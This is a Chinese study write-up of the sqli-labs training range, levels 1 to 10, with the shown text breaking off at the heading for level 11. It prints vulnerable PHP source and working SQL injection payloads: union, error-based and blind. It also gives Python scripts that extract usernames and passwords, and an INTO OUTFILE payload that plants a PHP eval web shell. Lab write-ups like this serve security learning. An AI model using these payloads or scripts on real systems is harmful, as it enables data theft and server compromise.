- 游戏规则
- 基础挑战1~22
- Less-1(基于错误的单引号字符串)
- Less-2 (基于错误的get整型注入)
- Less-3(基于错误的get单引号变形字符型注入)
- Less-4(基于错误的GET双引号字符型注入)
- Less-5(双注入GET单引号字符型注入)
- Less-6 (双注入GET双引号字符型注入)
- Less-7 (导出文件GET字符型注入)
- Less-8 (布尔型单引号GET盲注)
- Less-9 (基于时间的GET单引号盲注)
- Less-10 (基于时间的双引号盲注)
- Less-11(基于错误的PSOT单引号字符)
- Less-12(基于错误的双引号POST型字符变形注入)
- Less-13(POST单引号变形双注入)
- Less-14(POST双引号变形双注入)
- Less-15(基于bool型/时间延迟单引号POST型盲注)
- 断更!
参考文章 :作者:国光(大神偶像) 文章:《SQLI labs 靶场精简学习记录》
摘抄文章 :作者:ST0new (大佬) 文章:《sql-lab 通关Less1 -65(深入学习)》
项目地址:https://github.com/Audi-1/sqli-labs
我的环境为pte综合靶场(数据库系统为10.4.0-MariaDB,请综合参考)
游戏规则
刚开始玩 SQLI LAB ,我一开始不知道其目的是什么,怎么玩。简要说明一下吧,其目的是通过各种手动注入(sqlmap工具拿来检测就失去了本来的意义了),得到数据库中的敏感数据或全部数据。
基础挑战1~22
Less-1(基于错误的单引号字符串)
审计代码
源码
<?php//include() 函数可获得指定文件中的所有文本,并把文本拷贝到使用 include 函数的文件中。include("../sql-connections/sql-connect.php");error_reporting(0);// 获取参数if(isset($_GET['id'])){$id=$_GET['id'];//日志存储$fp=fopen('result.txt','a');fwrite($fp,'ID:'.$id."\n");fclose($fp);// mysql链接$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row){echo "<font size='5' color= '#99FF00'>";echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";}else{echo '<font color= "#FFFF00">';print_r(mysql_error());echo "</font>";}}else { echo "Please input the ID as parameter with numeric value";}?>
关键代码审计
# 单引号拼接,且$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";# 支持联合、报错、布尔盲注、延时盲注if true:输出查询内容else:print_r(mysql_error());
联合注入查询
需要自己将payload拼接在URL后。之后不再赘述。
细化版(也就是ST0new版之后不再赘述)
- 正常访问url?id=1- 添加 '返回报错信息:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '' LIMIT 0,1' at line 1- 使用 1' order by 3 %23得到列数为3- %23在url中编码为#- 使用union 获取admin和password- GROUP_CONCAT()函数将组中的字符串连接成为具有各种选项的单个字符串(将多个值变为一个值返回)。-1 的作用是查询不存在的值,使得结果为空-1 ' union select 1,2,3 // 确定可以显示到页面的位置-1 ' union select 1,2,group_concat(schema_name) from information_schema.schemata // 得到数据库名 或 通过database() 获取数据库名-1 ' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' %23-1 ' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'%23-1 ' union select 1,username,password from users %23
细化版实现
-1'+union+select+1,2,3%23 --注意:直接输入'#'并不能注释,输入'%23'才可以,'--+'也可以进行注释

可以看到2,3参数回显(注意,union注入回显的数据类型是一致的,例如name,password是char类型,那么union注入得到的数据也应该为char类型等。
(这里有一个比较疑惑的是:既然2,3 都可以回显,那么 group_concat(schema_name) from information_schema.schemata 查询语句可以在2的位置,也可以在3的位置,但是实际中,语句只能在3的位置。如果想让语句在2的位置,需改为”(select+group_concat(schema_name) from information_schema.schemata)”才可以,百思不得其解呀,希望那天被有缘的大佬看到,解释一波,嘿嘿)
按照语法注入找到表后进行union注入即可过关
http://sqli.pte.com/Less-1/?id=-1%27+union+select+1,2,group_concat(username,password)+from+users--+

Less-2 (基于错误的get整型注入)
知识点
mysql的注释符一般有三种
— , 单行注释
# 单行注释
/**/ 多行注释
注意— 不是注释符,–后还需要一个空格 ,而在web中 + 和空格等价,这就是为何我们注释符喜欢使用—+的原因
审计代码
源码
<?php//including the Mysql connect parameters.include("../sql-connections/sql-connect.php");error_reporting(0);// take the variablesif(isset($_GET['id'])){$id=$_GET['id'];//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'ID:'.$id."\n");fclose($fp);// connectivity$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row){echo "<font size='5' color= '#99FF00'>";echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";}else{echo '<font color= "#FFFF00">';print_r(mysql_error());echo "</font>";}}else{echo "Please input the ID as parameter with numeric value";}?>
关键代码审计
# 无单引号拼接,所以直接$id后面的语句注释即可(和Less-1的区别是id=$id处)$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";if true:输出查询内容else:print_r(mysql_error());
联合注入查询(union注入)
http://sqli.pte.com/Less-2/?id=-1+union+select+1,2,group_concat(username,password)+from+users--+
Less-3(基于错误的get单引号变形字符型注入)
知识点
这里普及一个知识点,如何不使用密码登录mysql,试想你拿到了一个用户的低权限账户,但是他对my.cnf 具有可写的权限,就可以通过修改my.cnf 进而登录数据库。如果数据库的存储方式可被允许,那么可以变像的提权。
审计代码
源码
<?php//including the Mysql connect parameters.include("../sql-connections/sql-connect.php");error_reporting(0);// take the variablesif(isset($_GET['id'])){$id=$_GET['id'];//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'ID:'.$id."\n");fclose($fp);// connectivity$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row){echo "<font size='5' color= '#99FF00'>";echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";}else{echo '<font color= "#FFFF00">';print_r(mysql_error());echo "</font>";}}else { echo "Please input the ID as parameter with numeric value";}?>
关键代码审计
# 区别是id=$id处,需要将('')闭合成功即可,所以闭合方式为')$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";if true:输出查询内容else:print_r(mysql_error());
联合注入
http://sqli.pte.com/Less-3/?id=-1%27)%20union%20select%201,2,group_concat(username,password)+from+users--+
在 id=-1’) 处进行闭合
Less-4(基于错误的GET双引号字符型注入)
审计代码
源码
<?php//including the Mysql connect parameters.include("../sql-connections/sql-connect.php");error_reporting(0);// take the variablesif(isset($_GET['id'])){$id=$_GET['id'];//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'ID:'.$id."\n");fclose($fp);// connectivity$id = '"' . $id . '"';$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row){echo "<font size='5' color= '#99FF00'>";echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";}else{echo '<font color= "#FFFF00">';print_r(mysql_error());echo "</font>";}}else { echo "Please input the ID as parameter with numeric value";}?>
关键代码审计
# 先双引号 在括号拼接$id = '"' . $id . '"';$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";#其实相当于语句$sql="SELECT * FROM users WHERE id=("$id") LIMIT 0,1";if true:输出查询内容else:print_r(mysql_error());0.
联合注入
http://sqli.pte.com/Less-4/?id=-1%22)%20union%20select%201,2,group_concat(username,password)+from+users%20--+
Less-5(双注入GET单引号字符型注入)
知识点
报错注入:通过操作回显的报错信息来得到数据库中的数据
as : 别名顺便说几个常见的:floor: 向下取整ceiling: 向上取整rand: 返回一个介于 0 到 1(不包括 0 和 1)之间的伪随机 float 值group by: GROUP BY必须得配合聚合函数来用,根据字段来分类- 使用select count(*) from [table] group by concat('~',([真正的查询语句]),'~',floor(rand(0)*2))或select count(*),concat_ws(char(32,58,32),([查询语句]),floor(rand(0)*2)) as a from [table] group by a- 原理简单来说就是count等聚合函数之后,如果使用分组语句,就会把查询的一部分以错误的形式显示出来
实例演示:
select concat(‘~’,(select database()),’~’) as a :
rand() :
floor(rand()*2) :
select concat(‘~’,(select database()),’~’,floor(rand()*2)) from users:
user表里有多少数据,就返回多少条
select count(), concat((select database()), floor(rand()2) as a from information_schema.schemata group by a
可以看到 floor(rand()2)的值是1的话没有报错,而floor(rand()2)为0时,在报错信息中出现了数据库的名称,假设存在报错回显则返回到了我们所看的页面中。
那么如果我们将 floor(rand()2) 改为 floor(rand(0)2) 则值就可以一直为0,则一直可以报错
审计代码
源码
<?php//导入数据库参数include("../sql-connections/sql-connect.php");error_reporting(0);// take the variablesif(isset($_GET['id'])){$id=$_GET['id'];//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'ID:'.$id."\n");fclose($fp);// connectivity$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row){echo '<font size="5" color="#FFFF00">';echo 'You are in...........';echo "<br>";echo "</font>";}else{echo '<font size="3" color="#FFFF00">';print_r(mysql_error());echo "</br></font>";echo '<font color= "#0000ff" font size= 3>';}}else { echo "Please input the ID as parameter with numeric value";}?>
关键代码审计
# 单引号拼接,且$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";# 支持联合、报错、布尔盲注、延时盲注if true:输出('You are in...........')else:print_r(mysql_error());
双注入
原理有待补充
原理参考文章:https://www.jianshu.com/p/b502893dcc81
-1' union all select count(*),2,concat( '~',(select schema_name from information_schema.schemata limit 4,1),'~',floor(rand()*2)) as a from information_schema.schemata group by a %23 // 获取 数据库 security 这里最好实用union all 这样,否则需要多次访问才能获取回复-1' union all select count(*),1,concat( '~',(select table_name from information_schema.tables where table_schema = 'security' limit 3,1),'~',floor(rand()*2)) as a from information_schema.schemata group by a %23 //获取表 users-1' union all select count(*),1,concat( '~',(select column_name from information_schema.columns where table_name= 'users' limit 2,1),'~',floor(rand()*2)) as a from information_schema.schemata group by a %23 // 这里爆出了他三个字段,注意如果字段不存在也是返回you are in-1' union all select count(*),1,concat( '~',(select concat(id,username,password) from users limit 2,1),'~',floor(rand()*2)) as a from information_schema.schemata group by a %23 // 成功拿到 password username
拿到一个username和password
报错注入
上面的双注入研究麻了,这道题还可以运用updatexml()函数进行报错注入
爆数据库版本信息?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)链接用户?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)链接数据库?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)爆表名?id=1' and updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'~'),1)--+爆字段?id=1' and updatexml(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),'~'),1)--+?id=1' and updatexml(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),'~'),1)--+?id=1' and updatexml(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1),'~'),1)--+爆字段内容?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM users limit 0,1),0x7e),1)--+或者联系上文?id=-1' and updatexml(1,(select group_concat(username,password)+from+users),1)--+

Less-6 (双注入GET双引号字符型注入)
审计代码
源码
<?php//including the Mysql connect parameters.include("../sql-connections/sql-connect.php");error_reporting(0);// take the variablesif(isset($_GET['id'])){$id=$_GET['id'];//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'ID:'.$id."\n");fclose($fp);// connectivity$id = '"'.$id.'"';$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row){echo '<font size="5" color="#FFFF00">';echo 'You are in...........';echo "<br>";echo "</font>";}else{echo '<font size="3" color= "#FFFF00">';print_r(mysql_error());echo "</br></font>";echo '<font color= "#0000ff" font size= 3>';}}else { echo "Please input the ID as parameter with numeric value";}?>
关键代码审计
# 双引号拼接,且$sql="SELECT * FROM users WHERE id="$id" LIMIT 0,1";# 支持联合、报错、布尔盲注、延时盲注if true:输出('You are in...........')else:print_r(mysql_error());
双注入
-1" union all select count(*),1,concat( '~',(select concat(id,username,password) from users limit 2,1),'~',floor(rand()*2)) as a from information_schema.schemata group by a %23

报错注入也一样,更改闭合方式即可
Less-7 (导出文件GET字符型注入)
知识点
- 正常访问id=1You are in.... Use outfile......- 看来这题是要导出文件sqlmap 也可以执行相同的工作 这里就不解释了。使用outfile 写入到服务器,我们一般可以利用这个漏洞写入一句话马这里需要有两个已知项 1 字段值 2 绝对地址并且 系统必须有可读可写,在服务器上,完整的路径,导出命令: union select 1,2,3 into outfile "绝对地址" %23- paylaod// 一般web都存放在默认的目录下,比如:1 c:/inetpub/wwwroot/2 linux的nginx一般是/usr/local/nginx/html3 /home/wwwroot/default4 /usr/share/nginx5 /var/www/html然后 验证是否具有这几个条件1 获取文件权限的可读1')) and (select count(*) from mysql.user)>0 %232 注入文件这里要求猜一下他的绝对路径id=-1')) union select 1,2,3 into outfile "\\xxx\\1.txt" %23之后使用id=-1')) union select 1,"<?php @eval($_POST['giantbranch']);?>" into outfile "XXX\test.php" %23这里由于是使用docker,没有写成功
审计代码
源码
<?php//including the Mysql connect parameters.include("../sql-connections/sql-connect.php");error_reporting(0);// take the variablesif(isset($_GET['id'])){$id=$_GET['id'];//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'ID:'.$id."\n");fclose($fp);// connectivity$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row){echo '<font color= "#FFFF00">';echo 'You are in.... Use outfile......';echo "<br>";echo "</font>";}else{echo '<font color= "#FFFF00">';echo 'You have an error in your SQL syntax';//print_r(mysql_error()); #注释掉了报错,所以不可用echo "</font>";}}else { echo "Please input the ID as parameter with numeric value";}?>
关键代码审计
# 双括号和单引号拼接$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";抽象化if true:输出('You are in...........')else:输出 ("You have an error in your SQL syntax")//print_r(mysql_error())
文件导出注入
在输入Centos虚拟机的绝对路径后,注入失败了,有待研究
sqlmap布尔盲注
sqlmap -u "url/?id=1" --dbms=MySQL --random-agent --flush-session --technique=B -v 3
Less-8 (布尔型单引号GET盲注)
审计代码
源码
<?php//including the Mysql connect parameters.include("../sql-connections/sql-connect.php");error_reporting(0);// take the variablesif(isset($_GET['id'])){$id=$_GET['id'];//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'ID:'.$id."\n");fclose($fp);// connectivity$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row){echo '<font size="5" color="#FFFF00">';echo 'You are in...........';echo "<br>";echo "</font>";}else{echo '<font size="5" color="#FFFF00">';//echo 'You are in...........';//print_r(mysql_error());//echo "You have an error in your SQL syntax";echo "</br></font>";echo '<font color= "#0000ff" font size= 3>';}}else { echo "Please input the ID as parameter with numeric value";}?>
关键代码审计
# 单引号拼接,且$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";# 布尔盲注if true:输出('You are in...........')else:无输出
布尔盲注
手动注入还是很累的,这里用python代码或者用burpsuite也是能出的
from urllib import requestfrom urllib import parseimport reurl = "http://sqli.pte.com/Less-8/?id="#1 查数据库# def length():database_length = 0while True:param = "1' and length(database()) ="+str(database_length)+" #"response = request.urlopen(url+ parse.quote(param)).read().decode()if (re.search("You are in",response)):#print("DATABASE_LENGTH:"+str(database_length))breakelse:database_length += 1# db_name = ""# for l in range(database_length):# for a in range(128):# param = "1' and ascii(substr(database()," + str(l+1) + "))=" + str(a) + "#"# response = request.urlopen(url + parse.quote(param)).read().decode()# if (re.search("You are in",response)):# db_name += chr(a)# break# print("[*]:"+db_name)#尝试二分法扫描db_name = ""for l in range(database_length):a,b = 64,64while True:b = int(b/2)param = "1' and ascii(substr(database()," + str(l+1) + "))<" + str(a) + "#"response = request.urlopen(url + parse.quote(param)).read().decode()if (re.search("You are in",response)):a -=belse:param = "1' and ascii(substr(database(),"+str(l+1)+")) ="+str(a)+" #"response = request.urlopen(url + parse.quote(param)).read().decode()if (re.search("You are in",response)):db_name += chr(a)breakelse:a +=bprint("db_name:"+ db_name)print('table:')#2 查表数量table_num = 0while True:param = "1' and (select count(*) from information_schema.tables where table_schema=database())="+str(table_num)+" #"response = request.urlopen(url + parse.quote(param)).read().decode()if (re.search("You are in",response)):#print("table_num:"+str(table_num))breakelse:table_num += 1# 查 表长度def ta_length(num):table_length = 0while True:param = "1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit "+str(num)+",1),1))="+str(table_length)+" #"response = request.urlopen(url + parse.quote(param)).read().decode()if (re.search("You are in",response)):return table_lengthbreakelse:table_length += 1# 查表for n in range(table_num):table_name =""for l in range(ta_length(n)): # 表的长度for a in range(0,128): #爆破表param = "1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit "+str(n)+",1),"+str(l+1)+",1)) ="+str(a)+" #"response = request.urlopen(url + parse.quote(param)).read().decode()if (re.search("You are in", response)):table_name += chr(a)breakprint("[*]:" + table_name)# 3 查字段# 查字段个数columns_num = 0while True:param = "1' and (select count(*) from information_schema.columns where table_name='users')="+str(columns_num)+" #"response = request.urlopen(url + parse.quote(param)).read().decode()if (re.search("You are in",response)):print("columns:"+str(columns_num))breakelse:columns_num += 1# 查每个字段的长度def co_length(num):columns_length = 0while True:param = "1' and length(substr((select column_name from information_schema.columns where table_name='users' limit "+str(num)+",1),1))="+str(columns_length)+" #"response = request.urlopen(url + parse.quote(param)).read().decode()if (re.search("You are in",response)):#print(columns_length)return columns_lengthbreakelse:columns_length += 1# 查每个字段的值for n in range(columns_num):columns_name =""for l in range(co_length(n)): # 表的长度for a in range(0,128): #爆破表param = "1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit "+str(n)+",1),"+str(l+1)+",1)) ="+str(a)+" #"response = request.urlopen(url + parse.quote(param)).read().decode()if (re.search("You are in", response)):columns_name += chr(a)breakprint("[*]:" +columns_name)# 下载数据# 查 usernamenum = 0while True:param = "1' and (select count(*) from users )= "+str(num)+"#"response = request.urlopen(url + parse.quote(param)).read().decode()if (re.search("You are in",response)):print("num:"+str(num))breakelse:num += 1def length(num):user_length = 0while True:param = "1' and length(substr((select username from users limit "+str(num)+",1),1))="+str(user_length)+" #"response = request.urlopen(url + parse.quote(param)).read().decode()if (re.search("You are in",response)):#print(user_length)return user_lengthbreakelse:user_length += 1def Name(value1,value2):for n in range(num):columns_name =""for l in range(length(n)): # 表的长度for a in range(0,128): #爆破表param = "1' and ascii(substr((select "+value1+" from users limit "+str(n)+",1),"+str(l+1)+",1)) ="+str(a)+" #"response = request.urlopen(url + parse.quote(param)).read().decode()if (re.search("You are in", response)):columns_name += chr(a)breakprint("[*]:" +columns_name,end=":")columns_name2 = ""for l in range(length(n)): # 表的长度for a in range(0, 128): # 爆破表param = "1' and ascii(substr((select " + value2 + " from users limit " + str(n) + ",1)," + str(l + 1) + ",1)) =" + str(a) + " #"response = request.urlopen(url + parse.quote(param)).read().decode()if (re.search("You are in", response)):columns_name2 += chr(a)breakprint(columns_name2)Name("username","password")
成功爆破出用户名和密码
Less-9 (基于时间的GET单引号盲注)
知识点
- 相关函数这一关需要用到一个if函数IF(expr1,expr2,expr3) :既可以作为表达式用,也可在存储过程中作为流程控制语句使用expr1 是判断条件 ,成立执行expr2 不成立执行 expr3还有一个sleep(seconds) :执行延迟seconds秒
审计代码
源码
<?php//including the Mysql connect parameters.include("../sql-connections/sql-connect.php");error_reporting(0);// take the variablesif(isset($_GET['id'])){$id=$_GET['id'];//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'ID:'.$id."\n");fclose($fp);// connectivity$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row){echo '<font size="5" color="#FFFF00">';echo 'You are in...........';echo "<br>";echo "</font>";}else{echo '<font size="5" color="#FFFF00">';echo 'You are in...........';//print_r(mysql_error());//echo "You have an error in your SQL syntax";echo "</br></font>";echo '<font color= "#0000ff" font size= 3>';}}else { echo "Please input the ID as parameter with numeric value";}?>
关键代码审计
# 单引号拼接,且$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";# 延时盲注if true:输出('You are in...........')else:输出('You are in...........')
时间盲注
from urllib import requestfrom urllib import parsefrom time import timeurl = "http://sqli.pte.com/Less-9/?id="#1 查数据库database_length = 0while True:param = "1' and if(length(database())="+str(database_length)+",sleep(0.1),1) #"t = time()response = request.urlopen(url + parse.quote(param))if ( time() - t > 0.1 ):print("DATABASE_LENGTH:"+str(database_length))breakelse:database_length += 1db_name = ""for l in range(database_length):for a in range(128):param = "1' and if(ascii(substr(database()," + str(l+1) + "))=" + str(a) + ",sleep(0.1),1) #"t = time()response = request.urlopen(url + parse.quote(param))if (time()-t >0.1):db_name += chr(a)breakprint("[*]:"+db_name)'''#尝试二分法扫描db_name = ""for l in range(database_length):a,b = 64,64while True:b = int(b/2)param = "1' and ascii(substr(database()," + str(l+1) + "))<" + str(a) + "#"response = request.urlopen(url + parse.quote(param)).read().decode()if (re.search("You are in",response)):a -=belse:param = "1' and ascii(substr(database(),"+str(l+1)+")) ="+str(a)+" #"response = request.urlopen(url + parse.quote(param)).read().decode()if (re.search("You are in",response)):db_name += chr(a)breakelse:a +=bprint("db_name:"+ db_name)'''#2 查表数量table_num = 0while True:param = "1 ' and if((select count(*) from information_schema.tables where table_schema=database())="+str(table_num)+",sleep(0.1),1) #"t = time()response = request.urlopen(url + parse.quote(param))if (time() - t > 0.1 ):print("table_num:"+str(table_num))breakelse:table_num += 1# 查 表长度def ta_length(num):table_length = 0while True:param = "1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit "+str(num)+",1),1))="+str(table_length)+",sleep(0.1),1) #"t = time()response = request.urlopen(url + parse.quote(param))if (time() - t > 0.1 ):return table_lengthbreakelse:table_length += 1# 查表for n in range(table_num):table_name =""for l in range(ta_length(n)): # 表的长度for a in range(0,128): #爆破表param = "1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit "+str(n)+",1),"+str(l+1)+",1)) ="+str(a)+",sleep(0.1),1) #"t = time()response = request.urlopen(url + parse.quote(param))if (time() - t > 0.1 ):table_name += chr(a)breakprint("table_name:" + table_name)# 3 查字段# 查字段个数columns_num = 0while True:param = "1' and if((select count(*) from information_schema.columns where table_name='users')="+str(columns_num)+",sleep(0.1),1) #"t = time()response = request.urlopen(url + parse.quote(param))if (time() - t > 0.1):print("columns_name:"+str(columns_num))breakelse:columns_num += 1# 查每个字段的长度def co_length(num):columns_length = 0while True:param = "1' and if(length(substr((select column_name from information_schema.columns where table_name='users' limit "+str(num)+",1),1))="+str(columns_length)+",sleep(0.1),1) #"t = time()response = request.urlopen(url + parse.quote(param))if (time() - t > 0.1):return columns_lengthbreakelse:columns_length += 1# 查每个字段的值for n in range(columns_num):columns_name =""for l in range(co_length(n)): # 表的长度for a in range(0,128): #爆破表param = "1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit "+str(n)+",1),"+str(l+1)+",1)) ="+str(a)+",sleep(0.1),1) #"t = time()response = request.urlopen(url + parse.quote(param))if (time() - t > 0.1):columns_name += chr(a)breakprint("table_name:" +columns_name)# 下载数据# 查 usernamenum = 0while True:param = "1' and if((select count(*) from users )= "+str(num)+",sleep(0.1),1)#"t = time()response = request.urlopen(url + parse.quote(param)).read().decode()if (time() - t > 0.1):print("num:"+str(num))breakelse:num += 1def length(num):user_length = 0while True:param = "1' and if(length(substr((select username from users limit "+str(num)+",1),1))="+str(user_length)+",sleep(0.1),1) #"t = time()response = request.urlopen(url + parse.quote(param)).read().decode()if (time() - t > 0.1):#print(user_length)return user_lengthbreakelse:user_length += 1def Name(value1,value2):for n in range(num):columns_name1 = columns_name2 = ""for l in range(length(n)): # 表的长度for a in range(0,128): #爆破表param = "1' and if(ascii(substr((select "+value1+" from users limit "+str(n)+",1),"+str(l+1)+",1)) ="+str(a)+",sleep(0.1),1) #"t = time()response = request.urlopen(url + parse.quote(param))if (time() - t > 0.1 ):columns_name1 += chr(a)breakfor a in range(0,128): #爆破表param = "1' and if(ascii(substr((select "+value2+" from users limit "+str(n)+",1),"+str(l+1)+",1)) ="+str(a)+",sleep(0.1),1) #"t = time()response = request.urlopen(url + parse.quote(param))if (time() - t > 0.1 ):columns_name2 += chr(a)breakprint(columns_name1+":"+columns_name2)Name("username","password")
爆破成功

Less-10 (基于时间的双引号盲注)
和前面的时间盲注一样
审计代码
源码
<?php//including the Mysql connect parameters.include("../sql-connections/sql-connect.php");error_reporting(0);// take the variablesif(isset($_GET['id'])){$id=$_GET['id'];//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'ID:'.$id."\n");fclose($fp);// connectivity$id = '"'.$id.'"';$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row){echo '<font size="5" color="#FFFF00">';echo 'You are in...........';echo "<br>";echo "</font>";}else{echo '<font size="5" color="#FFFF00">';echo 'You are in...........';//print_r(mysql_error());//echo "You have an error in your SQL syntax";echo "</br></font>";echo '<font color= "#0000ff" font size= 3>';}}else { echo "Please input the ID as parameter with numeric value";}?>
关键代码审计
# 双引号拼接,且$sql="SELECT * FROM users WHERE id="$id" LIMIT 0,1";# 延时盲注if true:输出('You are in...........')else:输出('You are in...........')
时间盲注
from urllib import requestfrom urllib import parsefrom time import timeurl = "http://sqli.pte.com/Less-10/?id=1"+'"'#1 查数据库database_length = 0while True:param = " and if(length(database())="+str(database_length)+",sleep(0.1),1) #"t = time()response = request.urlopen(url + parse.quote(param))if ( time() - t > 0.1 ):print("DATABASE_LENGTH:"+str(database_length))breakelse:database_length += 1db_name = ""for l in range(database_length):for a in range(128):param = " and if(ascii(substr(database()," + str(l+1) + "))=" + str(a) + ",sleep(0.1),1) #"t = time()response = request.urlopen(url + parse.quote(param))if (time()-t >0.1):db_name += chr(a)breakprint("[*]:"+db_name)'''#尝试二分法扫描db_name = ""for l in range(database_length):a,b = 64,64while True:b = int(b/2)param = " and ascii(substr(database()," + str(l+1) + "))<" + str(a) + "#"response = request.urlopen(url + parse.quote(param)).read().decode()if (re.search("You are in",response)):a -=belse:param = " and ascii(substr(database(),"+str(l+1)+")) ="+str(a)+" #"response = request.urlopen(url + parse.quote(param)).read().decode()if (re.search("You are in",response)):db_name += chr(a)breakelse:a +=bprint("db_name:"+ db_name)'''#2 查表数量table_num = 0while True:param = " and if((select count(*) from information_schema.tables where table_schema=database())="+str(table_num)+",sleep(0.1),1) #"t = time()response = request.urlopen(url + parse.quote(param))if (time() - t > 0.1 ):print("table_num:"+str(table_num))breakelse:table_num += 1# 查 表长度def ta_length(num):table_length = 0while True:param = " and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit "+str(num)+",1),1))="+str(table_length)+",sleep(0.1),1) #"t = time()response = request.urlopen(url + parse.quote(param))if (time() - t > 0.1 ):return table_lengthbreakelse:table_length += 1# 查表for n in range(table_num):table_name =""for l in range(ta_length(n)): # 表的长度for a in range(0,128): #爆破表param = " and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit "+str(n)+",1),"+str(l+1)+",1)) ="+str(a)+",sleep(0.1),1) #"t = time()response = request.urlopen(url + parse.quote(param))if (time() - t > 0.1 ):table_name += chr(a)breakprint("table_name:" + table_name)# 3 查字段# 查字段个数columns_num = 0while True:param = " and if((select count(*) from information_schema.columns where table_name='users')="+str(columns_num)+",sleep(0.1),1) #"t = time()response = request.urlopen(url + parse.quote(param))if (time() - t > 0.1):print("columns_name:"+str(columns_num))breakelse:columns_num += 1# 查每个字段的长度def co_length(num):columns_length = 0while True:param = " and if(length(substr((select column_name from information_schema.columns where table_name='users' limit "+str(num)+",1),1))="+str(columns_length)+",sleep(0.1),1) #"t = time()response = request.urlopen(url + parse.quote(param))if (time() - t > 0.1):return columns_lengthbreakelse:columns_length += 1# 查每个字段的值for n in range(columns_num):columns_name =""for l in range(co_length(n)): # 表的长度for a in range(0,128): #爆破表param = " and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit "+str(n)+",1),"+str(l+1)+",1)) ="+str(a)+",sleep(0.1),1) #"t = time()response = request.urlopen(url + parse.quote(param))if (time() - t > 0.1):columns_name += chr(a)breakprint("table_name:" +columns_name)# 下载数据# 查 usernamenum = 0while True:param = " and if((select count(*) from users )= "+str(num)+",sleep(0.1),1)#"t = time()response = request.urlopen(url + parse.quote(param)).read().decode()if (time() - t > 0.1):print("num:"+str(num))breakelse:num += 1def length(num):user_length = 0while True:param = " and if(length(substr((select username from users limit "+str(num)+",1),1))="+str(user_length)+",sleep(0.1),1) #"t = time()response = request.urlopen(url + parse.quote(param)).read().decode()if (time() - t > 0.1):#print(user_length)return user_lengthbreakelse:user_length += 1def Name(value1,value2):for n in range(num):columns_name1 = columns_name2 = ""for l in range(length(n)): # 表的长度for a in range(0,128): #爆破表param = " and if(ascii(substr((select "+value1+" from users limit "+str(n)+",1),"+str(l+1)+",1)) ="+str(a)+",sleep(0.1),1) #"t = time()response = request.urlopen(url + parse.quote(param))if (time() - t > 0.1 ):columns_name1 += chr(a)breakfor a in range(0,128): #爆破表param = " and if(ascii(substr((select "+value2+" from users limit "+str(n)+",1),"+str(l+1)+",1)) ="+str(a)+",sleep(0.1),1) #"t = time()response = request.urlopen(url + parse.quote(param))if (time() - t > 0.1 ):columns_name2 += chr(a)breakprint(columns_name1+":"+columns_name2)Name("username","password")
爆破出结果
Less-11(基于错误的PSOT单引号字符)
审计代码
源码
